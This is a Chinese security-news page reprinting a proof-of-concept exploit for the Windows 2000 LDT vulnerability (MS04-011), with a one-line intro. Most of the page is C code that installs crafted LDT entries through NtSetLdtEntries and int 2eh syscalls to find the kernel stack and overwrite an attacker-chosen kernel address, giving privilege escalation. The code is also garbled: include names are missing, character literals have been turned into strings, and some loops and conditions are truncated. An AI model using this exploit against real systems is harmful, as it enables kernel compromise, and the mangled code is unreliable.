科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道Windows2000LDT漏洞初探(2)

Windows2000LDT漏洞初探(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

z0mbie文章里提到在Win2k下进程可以自己添加LDT项,这可能是由于历史原因才留在系统代码中,因为Win2k本身并不会用到LDT.这个漏洞的核心是LDT项中Expand-Down位的设置.
  • 评论
  • 分享微博
  • 分享邮件

  * [MS04-011]

  *

  * Bug found by: Derek Soeder

  * Author: mslug (a1476854@hotmail.com), All rights reserved.

  *

  * Version: PoC 0.1

  *

  * Tested: Win2k pro en sp4

  *

  * Thanks: z0mbie"s article :)

  *

  * Compile: cl winldt.c

  *

  * Date:  18 Apr 2004

  *******************************************************************/

  

  

  #include

  #include

  #include

  

  #if 1

  #define KernelStackPtr 0xFD000000 //估计值

  #define BedSize     0x01000000

  #else

  #define KernelStackPtr 0xF0000000

  #define BedSize     0x10000000

  #endif

  

  unsigned char bed[BedSize];

  unsigned char pin[]="COOL";

  

  int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

  

  WORD SetupLDT(WORD seg, DWORD ldtbase);

  

  unsigned long patch_to;

  

  int main(int argc, char *argv[])

  {

  DWORD ldtbase, KSP;

  int i;

  HMODULE hNtdll;

  

  if(argc<2) {

  printf("** coded by mslug@safechina.net **

  ");

  printf("winldt.exe

  ");

  return 0;

  }

  

  patch_to = strtoul(argv[1], 0, 16);

  

  hNtdll = LoadLibrary("ntdll.dll");

  

  (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");

  

  memset(bed, "A", BedSize);

  bed[BedSize-1]=0;

  

  ldtbase = (DWORD) &bed[0] - KernelStackPtr;

  

  printf("[+] User-land bed : 0x%08X

  ", &bed[0]);

  printf("[+] 1st LDT base : 0x%08X

  ", ldtbase);

  

  SetupLDT(0x1f, ldtbase);

  __asm {

  push es

  push 1fh

  pop es

  mov eax, 11h   //1 param

  lea edx, pin

  int 2eh  

  pop es

  }

  

  for (KSP=0, i=0; i     if (bed[i] =="C" &&bed[i+1]=="O" &&

  bed[i+2]=="O" &&bed[i+3]=="L" )

  {

  KSP = KernelStackPtr + i;

  printf("[!] Knl stack ptr : 0x%08X

  ", KSP);

  //KSP = (DWORD)&bed[i]-ldtbase;

  //printf("[!] Knl stack ptr : 0x%08X

  ", KSP);

  break;

  }

  }

  

  if(!KSP) {

  printf("[-] Can"t locate Kernel stack pointer, try again

  ");

  return 0;

  } else if (patch_to

  printf("[-] Can only patch kernel above KSP

  ");

  return 0;

  }

  

  ldtbase = patch_to - KSP;

  

  printf("[+] Patch to   : 0x%08X

  ", patch_to);

  printf("[+] 2nd LDT base : 0x%08X

  ", ldtbase);

  

  SetupLDT(0x17, ldtbase);

  __asm {

  push es

  push 17h

  pop es

  mov eax, 11h

  lea edx, pin

  int 2eh  

  pop es

  }

  

  return 0;

  }

  

  WORD SetupLDT(WORD seg, DWORD ldtbase)

  {

  LDT_ENTRY EvilLdt;

  DWORD base = ldtbase;

  DWORD limit = 0;

  int ret;

  

  EvilLdt.BaseLow          = base &0xFFFF;

  EvilLdt.HighWord.Bytes.BaseMid  = base >> 16;

  EvilLdt.HighWord.Bytes.BaseHi   = base >> 24;

  EvilLdt.LimitLow         = (limit >> 12) &0xFFFF;

  EvilLdt.HighWord.Bits.LimitHi   = limit >> 28;

  EvilLdt.HighWord.Bits.Granularity = 1;  // 0/1, if 1, limit=(limit<<12)|fff

  EvilLdt.HighWord.Bits.Default_Big = 1;  // 0=16bit 1=32bit

  EvilLdt.HighWord.Bits.Reserved_0 = 0;  // 0/1

  EvilLdt.HighWord.Bits.Sys     = 0;  // 0/1

  EvilLdt.HighWord.Bits.Pres    = 1;  // 0/1 (presence bit)

  EvilLdt.HighWord.Bits.Dpl     = 3;  // only 3 allowed :-(

  EvilLdt.HighWord.Bits.Type    = 23;  // [16..27]

  

  ret = NtSetLdtEntries( seg,

  *(DWORD*)&EvilLdt,

  *(((DWORD*)&EvilLdt)+1),

  0,0,0);

  if (ret <0) {

  printf("[-] Set ldt error : %08X.

  ", ret);

  exit(0);

  }

  return seg;

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章